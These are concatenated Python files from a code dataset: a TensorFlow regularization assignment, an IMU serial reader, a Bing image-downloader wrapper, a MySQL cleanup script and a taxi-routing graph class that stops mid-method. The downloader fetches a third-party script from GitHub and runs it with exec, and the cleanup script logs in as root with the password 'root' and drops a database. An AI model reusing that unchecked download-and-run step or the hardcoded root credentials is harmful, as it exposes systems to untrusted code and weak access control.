dist.strip()\r\n\t\t\tif len(line) == 0:\r\n\t\t\t\tcontinue\r\n\t\t\tprint(line)\r\n\t\t\tdistrict = int(line[0])\r\n\t\t\tresult=prog.findall(line)\r\n\t\t\tfor res in result:\r\n\t\t\t\tfw.write(\"%s\\t%d\\n\" %(res, district))\r\n\t\t\t\topoRegionMap[res] = district\r\n\t\tfw.close()\r\n\r\nctrRegionMap={}\r\nwith open(\"H:/repositories/SAMs/LSAM/application/Source/Input/TransportTimes.txt\", 'r') as f:\r\n\tfor line in f:\r\n\t\tif line.startswith(\"#\") or line.startswith(\"tx_ctr_opo\"):\r\n\t\t\tcontinue\r\n\t\tparts = line.split(',')\r\n\t\topo = parts[0]\r\n\t\tctr = parts[1]\r\n\t\tif opo in opoRegionMap:\r\n\t\t\tctrRegionMap[ctr] = opoRegionMap[opo]\r\n\t\telse:\r\n\t\t\tctrRegionMap[ctr] = 0\r\n\r\nwith open(\"H:/repositories/SAMs/LSAM/application/Source/Input/LocMap.txt\", 'r') as f:\r\n\twith open(\"Y:/LSAM/PotentialChallenges/map/LocMap8.txt\", 'w') as fw:\r\n\t\tfor line in f:\r\n\t\t\tif line.startswith(\"#\"):\r\n\t\t\t\tfw.write(line)\r\n\t\t\t\tcontinue\r\n\t\t\tparts=line.split('|')\r\n\t\t\tif parts[1] in opoRegionMap:\r\n\t\t\t\tparts[2] = str(opoRegionMap[parts[1]])\r\n\t\t\telif parts[1] in ctrRegionMap:\r\n\t\t\t\tparts[2] = str(ctrRegionMap[parts[1]])\r\n\t\t\telse:\r\n\t\t\t\tparts[2] = \"0\"\r\n\t\t\tfw.write(\"|\".join(parts) + \"\\n\")\r\n","sub_path":"shyr/20161020_lsam/generate_8_regions.py","file_name":"generate_8_regions.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"286598925","text":"# Udacity: https://github.com/tensorflow/tensorflow/blob/master/tensorflow/examples/udacity/2_fullyconnected.ipynb\n'''\n\nDeep Learning: Assignment 3\n\nProblem 1\n\nIntroduce and tune L2 regularization for both logistic and neural network models.\nRemember that L2 amounts to adding a penalty on the norm of the weights to the loss. In TensorFlow, you can compute the L2 loss for a tensor t using nn.l2_loss(t).\nThe right amount of regularization should improve your validation / test accuracy.\n\nResults:\nbase model 82% +/- 1% [3001 steps, 1 hidden layer: 1024 nodes, use_preloaded_model = 'no', relu = 'no', L2_regularization = 'no' , optimizer = Adam, learning_rate = 0.0001, beta = 0.0001\nL2_regulzn 82.5% +/- 0.5% [as per base model, except L2_regularization = 'yes' . note beta = 0.0001 ]\nrelu 83% +/- 1% [as per base model, except L2_regularization = 'yes' . note beta = 0.0001 ]\n\nGDO optimizer 67.7% +/- 0.9 [as per base model, except optimizer = GradientDescentOptimizer]\nL2_regulzn 69.1% +/- 0.9% [as per 'GDO optimizer', except L2_regularization = 'yes' . note beta = 0.0001 ]\n2 hidden layers 81.0% +/- 0.3% [as per 'GDO optimizer', 2 hidden layers = 256 nodes * 256 nodes]\nrelu 78.5% [as per '2 hidden layers', except relu = 'yes' ]\nrelu 57.8% [as per 'GDO optimizer', except relu = 'yes' ]\n\nFor further notes on the model used and the KTAs, see file: Assignment2i....py\n\n'''\n\nfrom __future__ import print_function\nimport numpy as np\nimport tensorflow as tf\nfrom six.moves import cPickle as pickle\nfrom six.moves import range\nfrom sklearn.utils import shuffle\n\n# Hyper parameters\nuse_preloaded_model = 'no' # options 'no', 'yes'\nrelu = 'yes'\nL2_regularization = 'no'\noptimizer_flag = 'GDO' # options 'Adam' or 'GDO' (GradientDescentOptimizer)\nlearning_rate = 0.0001\nbeta = 0.0001 # 0.0001\n\nnum_layers = 1\nn_hidden_1 = 1024 # 1st layer number of features\nn_hidden_2 = 256 # 2nd layer number of features\n\nnum_steps = 3001\nbatch_size = 100\nn_input = 784 # MNIST data input (img shape: 28*28)\nn_classes = 10 # MNIST total classes (0-9 digits)\n\n\ndef accuracy(predictions, labels):\n return (100.0 * np.sum(np.argmax(predictions, 1) == np.argmax(labels, 1)) / predictions.shape[0])\n\n\ndef reformat(dataset, labels):\n dataset = dataset.reshape((-1, image_size * image_size)).astype(np.float32) # Map 0 to [1.0, 0.0, 0.0 ...], 1 to [0.0, 1.0, 0.0 ...]\n labels = (np.arange(num_labels) == labels[:,None]).astype(np.float32)\n return dataset, labels\n\npickle_file = '/home/chris/anaconda2/envs/tensorflow27gpu_v2/03_Udacity_TensorFlow/Assignment1/notMNIST.pickle'\nwith open(pickle_file, 'rb') as f:\n images_file_object = pickle.load(f)\n train_dataset = images_file_object['train_dataset']\n train_labels = images_file_object['train_labels']\n valid_dataset = images_file_object['valid_dataset']\n valid_labels = images_file_object['valid_labels']\n test_dataset = images_file_object['test_dataset']\n test_labels = images_file_object['test_labels']\n del images_file_object # hint to help gc free up memory\n print('Training set', train_dataset.shape, train_labels.shape)\n print('Validation set', valid_dataset.shape, valid_labels.shape)\n print('Test set', test_dataset.shape, test_labels.shape)\n\nimage_size = 28\nnum_labels = 10\ntrain_dataset, train_labels = reformat(train_dataset, train_labels)\nvalid_dataset, valid_labels = reformat(valid_dataset, valid_labels)\ntest_dataset, test_labels = reformat(test_dataset, test_labels)\n\nprint('Training set', train_dataset.shape, train_labels.shape) # Training set (200000, 784) (200000, 10)\nprint('Validation set', valid_dataset.shape, valid_labels.shape) # Validation set (10000, 784) (10000, 10)\nprint('Test set', test_dataset.shape, test_labels.shape) # Test set (18724, 784) (18724, 10)\n\ntrain_dataset, train_labels = shuffle(train_dataset, train_labels, random_state=0) # this shuffles both dataset and corresponding labels (both shuffled in exactly the same way), from sklearn lib\n\ngraph = tf.Graph()\nwith graph.as_default():\n\n x = tf.placeholder(\"float\", [None, n_input]) #dataset\n y = tf.placeholder(\"float\", [None, n_classes]) #labels\n\n # Store layers weight & bias\n if num_layers == 2:\n\n weights = {\n 'h1': tf.Variable(tf.random_normal([n_input, n_hidden_1])),\n 'h2': tf.Variable(tf.random_normal([n_hidden_1, n_hidden_2])),\n 'out': tf.Variable(tf.random_normal([n_hidden_2, n_classes]))\n }\n biases = {\n 'b1': tf.Variable(tf.random_normal([n_hidden_1])),\n 'b2': tf.Variable(tf.random_normal([n_hidden_2])),\n 'out': tf.Variable(tf.random_normal([n_classes]))\n }\n elif num_layers ==1:\n weights = {\n 'h1': tf.Variable(tf.random_normal([n_input, n_hidden_1])),\n 'h2': tf.Variable(tf.random_normal([n_hidden_1, n_hidden_2])),\n 'out': tf.Variable(tf.random_normal([n_hidden_1, n_classes]))\n }\n biases = {\n 'b1': tf.Variable(tf.random_normal([n_hidden_1])),\n 'b2': tf.Variable(tf.random_normal([n_hidden_2])),\n 'out': tf.Variable(tf.random_normal([n_classes]))\n }\n\n\n # Hidden layer with RELU activation\n layer_1 = tf.add(tf.matmul(x, weights['h1']), biases['b1'])\n if relu == 'yes':\n layer_1 = tf.nn.relu(layer_1)\n # Hidden layer with RELU activation\n layer_2 = tf.add(tf.matmul(layer_1, weights['h2']), biases['b2'])\n if relu == 'yes':\n layer_2 = tf.nn.relu(layer_2)\n # Output layer with linear activation\n if num_layers == 2:\n out_layer = tf.matmul(layer_2, weights['out']) + biases['out']\n elif num_layers == 1:\n out_layer = tf.matmul(layer_1, weights['out']) + biases['out']\n else:\n print(\"Error. Note, that the code currently only allows 1 or 2 neural net (node) layers in this code example, so num_layers can only be 1 or 2, but num_layers<> 1 or 2 ...\")\n\n logits_prediction = out_layer\n\n if L2_regularization == 'yes':\n cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits_prediction, y)) + beta * (tf.nn.l2_loss(weights['h1']) + tf.nn.l2_loss(weights['h2']))\n else:\n cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits_prediction, y))\n\n if optimizer_flag == 'Adam':\n optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost)\n else:\n optimizer = tf.train.GradientDescentOptimizer(learning_rate=learning_rate).minimize(cost)\n\n\n train_prediction = tf.nn.softmax(logits_prediction)\n train_prediction_accuracy = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(train_prediction,1),tf.argmax(y,1)),'float')) * 100 # note '* 100' to create percentage (instead of decimal)\n\n # VALID & TESTING ACCURACY (for transparency, this effectively breaks down the above operation: 'train_prediction_accuracy)\n\n # The model outputs logits_prediction. This is a one hot column vector, each position in column corresponds to an image label e.g. '0' is 'A', '1' is 'B'\n predition_label = tf.argmax(logits_prediction,1) # using one hot (column) vector, and (using tf.argmax) selecting index '1' outputs the col number with the highest output value i.e. the predicted label. see http://stackoverflow.com/questions/38094217/tensorflow-argmax-min\n #note if we used predition_label = tf.argmax(tf.nn.softmax(logits_prediction),1) this would never change the results, softmax only converts logits output to a percentage (float between 0 and 1), vs. logits output is unbounded.\n actual_label = tf.argmax(y,1) # identifies the actual label (provided in the original dataset, for training/valid/testing purposes)\n prediction_is_correct__array = tf.equal(predition_label,actual_label) # outputs true ('1') where prediction (label) == actual (label). output: tensor of type 'bool'.\n prediction_is_correct__array__float = tf.cast(prediction_is_correct__array, \"float\") # convert from dtype 'bool' to dtype 'float'\n valid_test_accuracy = tf.reduce_mean(prediction_is_correct__array__float) * 100 # reduce_mean (without a specified index) reduces the array (float values) to single element i.e. outputs mean of all the elements)\n\n init = tf.initialize_all_variables();\n saver = tf.train.Saver()\n\n\nwith tf.Session(graph=graph) as session:\n session.run(init)\n print(\"Initialized\")\n\n if use_preloaded_model == 'yes':\n try:\n saver.restore(session, \"/tmp/Udacity_Assignment3.ckpt\")\n print(\"Model restored.\")\n except:\n pass\n\n constant1 = -1\n print ('learning_rate',learning_rate)\n for step in range(num_steps):\n offset = (step * batch_size) % (train_labels.shape[0] - batch_size)\n batch_data = train_dataset[offset:(offset + batch_size), :]\n batch_labels = train_labels[offset:(offset + batch_size), :]\n feed_dict = {x : batch_data, y : batch_labels}\n _, c, train_prediction_eval = session.run([optimizer, cost, train_prediction], feed_dict=feed_dict) #_, c = session.run([optimizer, cost], feed_dict={x: batch_x, y: batch_y})\n\n if (step % batch_size == 0):\n constant1 += 1\n print(\"Minibatch loss at step %d: %f\" % (step, c))\n print(\"Minibatch accuracy (model confidence, specified by softmax output percentage): %.1f%%\" % accuracy(train_prediction_eval, batch_labels))\n\n valid_prediction_eval2 = session.run([train_prediction_accuracy], feed_dict={x : valid_dataset, y : valid_labels})\n print(\"Validation accuracy (calculation 2):\",valid_prediction_eval2,\"%\")\n\n print('\\t\\t\\t\\tlearning_rate',learning_rate,'\\n')\n test_prediction_eval = session.run([train_prediction_accuracy], feed_dict={x : test_dataset, y : test_labels})\n print(\"Test accuracy :\",test_prediction_eval,\"%\")\n\n save_path = saver.save(session, \"/tmp/Udacity_Assignment3.ckpt\")\n print(\"Model saved in file: %s\" % save_path)\n\n\n'''\ntf.nn.softmax(logits, dim=-1, name=None) Computes softmax activations. https://www.tensorflow.org/api_docs/python/nn/classification#softmax\ntf.reduce_mean(input_tensor, reduction_indices=None, keep_dims=False, name=None) Computes the mean of elements across dimensions of a tensor. https://www.tensorflow.org/versions/r0.10/api_docs/python/math_ops/reduction#reduce_mean\ntf.cast(x, dtype, name=None) Casts a tensor to a new type. https://www.tensorflow.org/versions/r0.11/api_docs/python/array_ops/casting#cast\ntf.argmax(input, dimension, name=None) Returns the index with the largest value across dimensions of a tensor. https://www.tensorflow.org/versions/r0.10/api_docs/python/math_ops/sequence_comparison_and_indexing#argmax\ntf.squeeze(input, axis=None, name=None, squeeze_dims=None) Removes dimensions of size 1 from the shape of a tensor. https://www.tensorflow.org/api_docs/python/array_ops/shapes_and_shaping#squeeze\n\n'''\n","sub_path":"assignment3/Assignment3b_NN.py","file_name":"Assignment3b_NN.py","file_ext":"py","file_size_in_byte":11165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"243918409","text":"#!/usr/bin/env python\n\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\nimport pygame\nfrom pygame.locals import *\nimport serial\nimport datetime\n\nser = serial.Serial('COM4', 38400, timeout=1)\n\nax = ay = az = 0.0\nyaw_mode = False\n\n\ndef read_data(previous_time, prev_x_acc, prev_y_acc, vx, vy, scanning_vals):\n global ax, ay, az\n ax = ay = az = 0.0\n\n prev_vx = vx\n prev_vy = vy\n # request data by sending a dot\n ser.write(b\".\")\n # while not line_done:\n line = ser.readline()\n\n angles = line.split(b\", \")\n print(len(angles))\n if len(angles) == 4:\n print(angles)\n # Timestamp addition\n today = datetime.datetime.now()\n angles.append(today)\n\n\n\n ax = (angles[0])\n\n ay = (angles[1])\n\n az = (angles[2])\n if ax == -1 and az == -1:\n vx = 0\n vy = 0\n scanning_vals = False\n else:\n acc_x = float(ax) * 9.81 / 8192\n acc_y = float(ay) * 9.81 / 8192\n #print(\"raw x: {} \\traw y: {}\".format(ax, ay))\n #print(\"Acc. x: {}\".format(float(acc_x)))\n #print(\"Acc: y: {}\".format(float(acc_y)))\n if previous_time == None:\n diff = today\n else:\n diff = today - previous_time\n\n previous_time = today\n\n splitty = str(diff).split('.')\n diff = int(splitty[-1])\n #print(diff)\n previous_time = today\n\n # Let's calc the velocity\n\n print(\"Vel.X: {}\".format(vx))\n print(\"Vel.Y: {}\".format(vy))\n\n #print(\"diff: {}\".format(diff))\n # v = 0.5 * diff * change in acceleration ( /1000/1000 to convert to seconds)\n #print(\"vx: {}\".format(vx))\n if abs(float(ax)) > 0.01 and abs(float(ay)) > 0.01 and abs(float(az)) > 0.01:\n scanning_values = True\n vx += 0.5 * (diff/1000/1000) * (float(acc_x) + float(prev_x_acc))\n # current value of X.acc\n vy += 0.5 * (diff/1000/1000) * (float(acc_y) + float(prev_y_acc))\n prev_x_acc = acc_x\n prev_y_acc = acc_y\n print(\"Vel X: {}\".format(vx))\n print(\"Vel Y: {}\".format(vy))\n\n\n return previous_time, prev_x_acc, prev_y_acc, vx, vy, scanning_vals\n\n\ndef loopy():\n global yaw_mode\n previous_time = None\n vx = 0\n vy = 0\n prev_y_acc = 0\n prev_x_acc = 0\n scanning_vals = True\n count = 0\n high_x = 0\n high_y = 0\n for i in range(7):\n previous_time, prev_x_acc, prev_y_acc, vx, vy, scanning_vals = read_data(previous_time, prev_x_acc, prev_y_acc, vx, vy, scanning_vals)\n\n print(scanning_vals)\n print(\"count: {}\".format(count))\n if vx > high_x:\n high_x = vx\n if vy > high_y:\n high_v = vx\n count +=1\n return high_x, high_v\n\n ser.close()\n\n\nif __name__ == '__main__': main()","sub_path":"imu_arduino.py","file_name":"imu_arduino.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"58342736","text":"'''\nDownloads multiple images from Bing. Uses the Bulk Bing Image Downloader from\nhttps://github.com/ostrolucky/Bulk-Bing-Image-downloader\n\nArguments\nitems - The list of items to grab images from\ntransparent - True or False, if you want transparent backgrounds or not\nlimit - The higher the number, the more images you'll get. The number you insert is the MAXIMUM amount of images you might get per item.\n\nImages will output to the downloads foler in their respective folder names, spaces replaced with underscores.\n\nBing search terms/filters are randomized each time the script runs in hope that it downloads unique images each subsequent run.\n\nWe download the Bulk Bing Image Downloader in this script to prevent copy/pasting someone else's code in our repo.\n'''\n\nimport os\nimport sys\nimport urllib.request\nfrom random import choice\n\n'''\nItems include:\n'aerosol_cans_full', 'aluminium_foil', 'ammunition', 'auto_parts', 'batteries', 'bicycles', 'cables', 'cardboard', 'cartridge', 'cassette', 'cd_cases', 'cigarettes', 'cooking_oil', 'cookware', 'corks', 'crayons', 'digital_cameras', 'desktop_computers', 'discs', 'doors', 'eyeglasses', 'fabrics', 'fire_extinguishers', 'floppy_disks', 'furniture', 'game_consoles', 'generic_plastic', 'gift_bags', 'glass', 'glass_container', 'green_waste', 'hard_drives', 'hardware', 'hazardous_fluid', 'heaters', 'laptop_computers', 'large_appliance', 'lightbulb', 'medication_containers', 'medications', 'metal_cans', 'mixed_paper', 'mobile_device', 'monitors', 'nail_polish', 'oil_filters', 'paint', 'paint_thinner', 'pallets', 'paper_cups', 'pet_waste', 'plastic_cards', 'printers', 'propane_tanks', 'shoes', 'small_appliances', 'smoke_detectors', 'tires', 'tools', 'toothbrushes', 'toothpaste_tubes', 'toy', 'vehicles', 'water_filters', 'wood', 'wrapper'\n'''\nitems = ['glass_container', 'paper_cups', 'shoes']\ntransparent = False\nlimit = 10\n\n# Download the Bulk Bing Image Downloader if it doesn't exist in the system\nif os.path.exists('./bbid.py'):\n pass\nelse:\n print('bbid.py not found. Downloading...')\n url = 'https://raw.githubusercontent.com/ostrolucky/Bulk-Bing-Image-downloader/6ab4c76b3f3c6bd9636ab547364765330eb48ad2/bbid.py'\n urllib.request.urlretrieve(url, './bbid.py')\n\n# Create an array of all the item names (spaces instead of underscores)\nitemNames = [item.replace(\"_\", \" \") for item in items]\n\n# Create an array of all the item folder names (underscores instead of spaces)\nitemFolderNames = [item.replace(\" \", \"_\") for item in items]\n\n# Create the folder names in the downloads folder\nfor itemFolderName in itemFolderNames:\n if not os.path.exists('./downloads/'+itemFolderName):\n os.makedirs('./downloads/'+itemFolderName)\n\n# Initialize randomizer variables\nrandomSearchAppend = ['', '', '', '', 'image of ', 'picture of ', 'photo of ', 'photograph of ', 'snapshot of ', ' image', ' picture', ' photo', ' photograph', ' snapshot']\nrandomFilterAppend = ['', '', '', '+filterui:age-lt525600', '+filterui:license-L2_L3', '+filterui:aspect-square', '+filterui:aspect-wide', '+filterui:aspect-tall', '+filterui:imagesize-medium', '+filterui:imagesize-wallpaper']\n\n# For all the items\nfor x in range(0, len(items)):\n randomizedFilter = '+filterui:photo-photo'\n randomizedSearch = ''\n\n # Select random search terms/fiilters\n randomSearchSeed = choice(randomSearchAppend)\n randomFilterSeed = choice(randomFilterAppend)\n\n # If the search append if a prefix, add it before the item name\n if 'of' in randomSearchSeed:\n randomizedSearch = randomSearchSeed + itemNames[x]\n # If the search append if a suffix, add it after the item name\n else:\n randomizedSearch = itemNames[x] + randomSearchSeed\n\n # Append the random filter to the filter list\n randomizedFilter += randomFilterSeed\n # Add the transparent filter if set\n if transparent:\n randomizedFilter += '+filterui:photo-transparent'\n\n # Run bbid.py, passing in appropriate arguments\n sys.argv = [\n \"bbid.py\",\n \"-s\",\n randomizedSearch,\n \"-o\",\n \"downloads/\"+itemFolderNames[x],\n \"--limit\",\n str(limit),\n \"--filters\",\n randomizedFilter\n ]\n exec(open(\"bbid.py\").read())","sub_path":"trashpanda-ds/exploration/1_image_downloading/Bing/binger.py","file_name":"binger.py","file_ext":"py","file_size_in_byte":4221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"510848581","text":"#!/usr/bin/python\n\nimport MySQLdb\n\ndb = MySQLdb.connect ('localhost', 'root', 'root')\ncursor = db.cursor()\n\ncursor.execute (\"select * from information_schema.SCHEMATA where SCHEMA_NAME='owncloud'\")\n\ndbExists = cursor.fetchone()\nif dbExists is not None:\n cursor.execute (\"drop database owncloud\")\n\ncursor.execute (\"select * from mysql.user where User='oc_at_admin'\")\nuserExists = cursor.fetchone()\nif userExists is not None:\n cursor.execute (\"drop user oc_at_admin\")\n cursor.execute (\"drop user oc_at_admin@localhost\")\n\ndb.close()\n","sub_path":"clean_database.py","file_name":"clean_database.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"422815689","text":"###########################################Artificial Intelligence############################################### \n####################################Professor: Ing. Luis Carlos##################################################\n#################################################################################################################\n########################################Student: Felipe Mejias Loria ############################################\n#################################################################################################################\n\n###This import is necessary to get a Python queue #####\nimport queue\n\n###This import is necessary to generate random numbers\nfrom random import randint\n\n###This import is necessary to reorder an array for the a*\nfrom operator import itemgetter\n\n##Import the copy module\nimport copy\n\n###########################################################################################################\n# Client Class:\n##########################################################################################################\n\nclass Client:\n def __init__(self):\n self.initialBlock = \"\" \n self.destinationBlock = \"\"\n\n #This method set the initialBlock of the Client\n def setInitialBlock(self,initialBlock):\n self.initialBlock = initialBlock\n\n #This method get the initial block of the client\n def getInitialBlock(self):\n return self.initialBlock\n\n #This method set the destination block of the Client\n def setDestinationBlock(self,destinationBlock):\n self.destinationBlock = destinationBlock\n\n #This method get the destination block of the client\n def getDestinationBlock(self):\n return self.destinationBlock\n\n\n###########################################################################################################\n# CityNode Class:\n###########################################################################################################\nclass CityNode:\n def __init__(self,x,y,value,isBlock):\n self.visited = False\n self.adjacentNodesList = []\n self.x = x\n self.y = y\n self.typeOfNode = \"\"\n self.valueOfNode = value\n self.cost = 0\n self.d = 0\n self.h = 0\n self.father = 0\n self.belongToBlock = \"\"\n self.client = Client() #Each city node contains an object client\n self.haveBlockAsNeighbor = False \n self.haveAClient = False\n\n self.setTypeAndSetValue(value, isBlock) #To specified the type of the node\n\n #This method is in charge of specified the type and the value of the node\n def setTypeAndSetValue(self,value, isBlock):\n if(value == \"|\"):\n self.typeOfNode = \"wall\"\n elif(value == \"-\"):\n self.typeOfNode = \"wall\"\n elif(value == \"*\"):\n self.typeOfNode = \"water\"\n elif(isBlock == \"yes\"):\n self.typeOfNode = \"block\"\n elif(value == \" \"):\n self.typeOfNode = \"street\"\n elif(value == \"D\"):\n self.typeOfNode = \"taxi\"\n # elif(value == \"O\"):\n # self.typeOfNode = \"wall\"\n # self.haveAClient = True\n\n #This method set the block as neighbor\n def setBlockAsNeighbor(self):\n self.haveBlockAsNeighbor = True\n\n #This method get the block as neighbor\n def getBlockAsNeighbor(self):\n return self.haveBlockAsNeighbor\n\n #This method indicates that this node have a client\n def setHaveAClient(self):\n self.haveAClient = True\n\n #This method indicates that this node not have a client\n def resetHaveAClient(self):\n self.haveAClient = False\n\n #This method returns if this node have a client\n def getHaveAClient(self):\n return self.haveAClient\n\n #This method get the block as neighbor\n def getBlockAsNeighbor(self):\n return self.haveBlockAsNeighbor\n \n #This method set the block to a wall according to that city node\n def setBlockToWall(self, block):\n self.belongToBlock = block\n\n #This method get the block of the wall\n def getBlockOfWall(self):\n return self.belongToBlock\n\n #This method return the client of that city node\n def getClient(self):\n return self.client\n\n #This method set the initial block of the client\n def setInitialBlockToClient(self, initialBlock):\n self.client.setInitialBlock(initialBlock)\n\n #This method set the destination block of the client\n def setDestinationBlockToClient(self, destinationBlock):\n self.client.setDestinationBlock(destinationBlock)\n\n #This method get the initial block of the client\n def getInitialBlockOfTheClient(self):\n return self.client.getInitialBlock()\n\n #This method get the destination block of the client\n def getDestinationBlockOfTheClient(self):\n return self.client.getDestinationBlock()\n \n #This method return the father of the node\n def getFather(self):\n return self.father\n\n #This method set the father of the node\n def setFather(self, father):\n self.father = father\n \n #This method return the cost of the node\n def getCost(self):\n return self.cost\n\n #This method set the cost of the node\n def setCost(self, cost):\n self.cost = cost\n\n #This method return the distance of the node\n def getD(self):\n return self.d\n\n #This method set the distance of the node\n def setD(self, distance):\n self.d = distance\n\n #This method return the heuristic of the node\n def getH(self):\n return self.h\n\n #This method set the heuristic of the node\n def setH(self, h):\n self.h = h\n\n #This method return the x position\n def getX(self):\n return self.x\n\n #This method set the x position of the node\n def setX(self, x):\n self.x = x\n\n #This method return the y position\n def getY(self):\n return self.y\n\n #This method set the y position of the node\n def setY(self, y):\n self.y = y\n \n #This method return the type of the node\n def getNodeType(self):\n return self.typeOfNode\n\n #This method set the type of the node\n def setNodeType(self, typeOfNode):\n self.typeOfNode = typeOfNode\n\n #This method return the value of the Node\n def getNodeValue(self):\n return self.valueOfNode\n\n #This method set the value of the Node\n def setNodeValue(self, valueOfNode):\n self.valueOfNode = valueOfNode\n\n #This method indicates if the node has been visited\n def isVisited(self):\n return self.visited\n\n #This method returns the list of the adjacent node\n def getAdjacentNodesList(self):\n return self.adjacentNodesList\n\n #This method set the node as visited\n def setVisit(self):\n self.visited = True\n\n #This method set the node as not visited\n def resetVisit(self):\n self.visited = False\n\n #This method updates the adjacent nodes list, this method receives an string, not an object CityNode\n def updateAdjacentList(self, node):\n self.adjacentNodesList.append(node)\n\n\n\n###########################################################################################################\n# CityGraph Class:\n###########################################################################################################\nclass CityGraph:\n def __init__(self, city):\n self.routeTraveled = [] #Contains the route in progress of the taxi\n self.routeToTravel = [] #Contains the route from one block to another block\n self.searchList = [] #Contains all the path that the taxi have to visit to deliver the clients (Is a list of lists)\n self.clientsList = [] #Contains all of the coordinates of the clients\n self.routesVisited = [] #Contains all of the routes visited by the taxi (Is a list of lists)\n self.actualNode = \"\" #This is going to be the actual node of the taxi\n self.destinationNode = \"\"\n self.cityMatrix = copy.deepcopy(city) #Contains the matrix of the city\n self.rows = len(self.cityMatrix) #Rows of the city matrix\n self.columns = len(self.cityMatrix[0]) #Columns of the city matrix\n self.taxiInitialPosition = 0 #Variable use in the search method\n\n #Call the method in charge of create the city graph\n self.createCityGraph(len(city),len(city[0]))\n\n ##This is necessary if there are clients already in the map from the beginning\n self.addClientFromTheBeginningClient()\n\n\n #This method is in charge of create the city matrix as a graph\n def createCityGraph(self,rows,columns):\n x = 0 #Assign the x position of the node in the grid\n y = 0 #Assign the y position of the node in the grid\n while(x < rows):\n while(y < columns):\n node = CityNode(x,y,self.cityMatrix[x][y][1], self.cityMatrix[x][y][0])\n ####Append the adjacent nodes#####\n if((y == 0) and (x < rows) and (x == 0)): #y = 0 y x = 0\n node.updateAdjacentList((x,y+1)) #Right\n node.updateAdjacentList((x+1,y)) #Down\n self.cityMatrix[x][y] = node\n y = y + 1\n\n elif((y == 0) and (x == rows-1)): #y = 0 y x = rows - 1\n node.updateAdjacentList((x-1,y)) #Up\n node.updateAdjacentList((x,y+1)) #Right\n self.cityMatrix[x][y] = node\n y = y + 1\n\n elif((y == 0) and (x < rows)): #y = 0 y x > 0\n node.updateAdjacentList((x-1,y)) #Up\n node.updateAdjacentList((x,y+1)) #Right\n node.updateAdjacentList((x+1,y)) #Down\n self.cityMatrix[x][y] = node\n y = y + 1\n \n elif((y == columns-1) and (x < rows) and (x == 0)): #y = columns-1 y x = 0\n node.updateAdjacentList((x,y-1)) #Left\n node.updateAdjacentList((x+1,y)) #Down\n self.cityMatrix[x][y] = node\n y = y + 1\n\n elif((y == columns - 1) and (x == rows-1)): #y = columns - 1 y x = rows - 1\n node.updateAdjacentList((x-1,y)) #Up\n node.updateAdjacentList((x,y-1)) #Left\n self.cityMatrix[x][y] = node\n y = y + 1\n\n elif((y == columns - 1) and (x < rows)): #y = columns - 1 y x = x > 0\n node.updateAdjacentList((x-1,y)) #Up\n node.updateAdjacentList((x,y-1)) #Left\n node.updateAdjacentList((x+1,y)) #Down\n self.cityMatrix[x][y] = node\n y = y + 1\n\n\n elif((y < columns) and (x == 0)): #y < columns y x = 0\n node.updateAdjacentList((x,y-1)) #Left\n node.updateAdjacentList((x,y+1)) #Right\n node.updateAdjacentList((x+1,y)) #Down\n self.cityMatrix[x][y] = node\n y = y + 1\n\n elif((y < columns) and (x == rows - 1)):\n node.updateAdjacentList((x-1,y)) #Up\n node.updateAdjacentList((x,y-1)) #Left\n node.updateAdjacentList((x,y+1)) #Right\n self.cityMatrix[x][y] = node\n y = y + 1\n else:\n node.updateAdjacentList((x-1,y)) #Up\n node.updateAdjacentList((x,y-1)) #Left\n node.updateAdjacentList((x,y+1)) #Right\n node.updateAdjacentList((x+1,y)) #Down\n self.cityMatrix[x][y] = node\n y = y + 1\n \n x = x + 1\n y = 0\n \n \n\n #This method is in charge of perform the BFS search\n def BFS(self, destinationNode):\n \n #For the beginning, I use this\n self.haveBlockAsNeighbor()\n \n #First, search the taxi node\n sourceNode = self.searchTaxiNode()\n\n #Get the coordinates of the source node\n sourceNodeX = sourceNode.getX()\n sourceNodeY = sourceNode.getY()\n\n #Second, set the source node as visited\n self.cityMatrix[sourceNodeX][sourceNodeY].setVisit()\n\n #Third, create a queue\n q = queue.Queue()\n\n #Fourth, enqueue the source node\n q.put(sourceNode)\n\n #Fifth, while the queue is not empty\n while(q.empty() != True):\n\n #Sixth, extract node from the queue\n nodeFromQueue = q.get()\n\n #Finish condition\n if(nodeFromQueue.getNodeValue() == destinationNode.getNodeValue()):\n break\n\n #7, extract the adjacent list\n adjacentNodesList = nodeFromQueue.getAdjacentNodesList()\n\n #8, explore all adjacent nodes\n for i in range(0, len(adjacentNodesList)):\n\n #9, get adjacent node and then get its coordinates\n adjacentNodeX = adjacentNodesList[i][0]\n adjacentNodeY = adjacentNodesList[i][1]\n adjacentNode = self.searchNodeByCoordinates(adjacentNodeX,adjacentNodeY)\n \n #10, if the adjacent node is not visited, then set as visited\n if(adjacentNode.isVisited() == False and (adjacentNode.getNodeType() == \"street\" or\n (adjacentNode.getNodeType() == \"block\" and adjacentNode.getNodeValue()== destinationNode.getNodeValue())or\n adjacentNode.getBlockAsNeighbor() == True)):\n\n self.cityMatrix[adjacentNodeX][adjacentNodeY].setVisit()\n self.cityMatrix[adjacentNodeX][adjacentNodeY].setFather((nodeFromQueue.getX(),nodeFromQueue.getY()))\n\n #11, Enqueue this adjacentNode\n q.put(adjacentNode)\n\n #12, then build the path\n self.buildTravel(destinationNode)\n\n #13, reset all of the fathers\n self.resetFatherNodes()\n\n #14, reset all the nodes as not visited\n self.setNodesAsNotVisited()\n\n #This method is in charge of perform the DFS search\n def DFS(self, destinationNode):\n \n #For the beginning, I use this\n self.haveBlockAsNeighbor()\n \n #First, search the taxi node\n sourceNode = self.searchTaxiNode()\n\n #Get the coordinates of the source node\n sourceNodeX = sourceNode.getX()\n sourceNodeY = sourceNode.getY()\n\n #Second, set the source node as visited\n 